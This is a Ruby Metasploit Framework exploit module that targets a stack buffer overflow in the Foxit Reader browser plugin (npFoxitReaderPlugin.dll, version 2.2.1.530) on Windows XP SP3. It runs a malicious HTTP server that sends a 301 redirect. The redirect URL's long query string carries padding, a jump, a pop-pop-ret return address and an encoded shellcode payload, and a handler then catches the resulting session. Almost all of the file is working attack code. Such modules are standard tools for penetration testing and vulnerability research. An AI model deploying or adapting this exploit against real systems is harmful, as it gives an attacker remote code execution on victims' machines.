svnk
103 lines
3.0 KiB
Ruby
103 lines
3.0 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::HttpServer::HTML
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Rank = NormalRanking
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def initialize(info={})
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super(update_info(info,
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'Name' => "Foxit Reader Plugin URL Processing Buffer Overflow",
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'Description' => %q{
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This module exploits a vulnerability in the Foxit Reader Plugin
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npFoxitReaderPlugin.dll. When loading PDF files from remote hosts, overly long
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query strings within URLs can cause a stack-based buffer overflow, which can be
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exploited to execute arbitrary code. This exploit has been tested on Windows XP
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Home SP3 (german) with Firefox 18.0 and Foxit Reader version 5.4.4.1128
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(npFoxitReaderPlugin.dll version 2.2.1.530).
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Andrea Micalizzi (rgod)', # initial discovery and poc
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'Sven Krewitt <svnk[at]krewitt.org>' # metasploit module
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],
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'References' =>
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[
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[ 'URL', 'http://retrogod.altervista.org/9sg_foxit_overflow.htm' ],
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[ 'URL', 'http://secunia.com/advisories/51733/' ],
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[ 'OSVDB', '89030' ]
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],
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'Payload' =>
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{
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'Space' => 790, # TODO: exactly calculate available space
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'BadChars' => "\x7d\x00\x23\x25\x0a\x0d"
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},
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'DefaultOptions' =>
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{
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'EXITFUNC' => "none",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP Home SP3 (german)',
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{
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'Offset' => 230,
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'Ret' => 0x0142318f # PopPopRet in
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# npFoxitReaderPlugin.dll version 2.2.1.530
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => "Jan 7 2013",
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::LPORT(4444),
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OptPort.new('SRVPORT', [ true, "The HTTP daemon port to listen on.", 8080 ])
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], self.class)
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end
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def on_request_uri(cli, request)
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return if ((p = regenerate_payload(cli)) == nil)
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sploit = rand_text_alpha(target['Offset'] - request.resource.length)
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sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2)
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sploit << [target.ret].pack('V')
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sploit << make_nops(8) + p.encoded
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sploit << rand_text_alpha(2300) # triggers access violation
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# we use two responses:
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# one for an HTTP 301 redirect and sending the payload
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# and one for sending the HTTP 200 OK with appropriate Content-Type
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if request.uri =~ /\.pdf/
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# sending Content-Typ
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resp = create_response(200, "OK")
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resp.body = ""
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resp['Content-Type'] = 'application/pdf'
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resp['Content-Length'] = 666
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cli.send_response(resp)
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return
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else
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resp = create_response(301, "Moved Permanently")
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resp.body = ""
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resp['Location'] = request.uri + '.pdf?' + Rex::Text.uri_encode(sploit, 'hex-all')
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cli.send_response(resp)
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# handle the payload
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handler(cli)
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end
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end
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end
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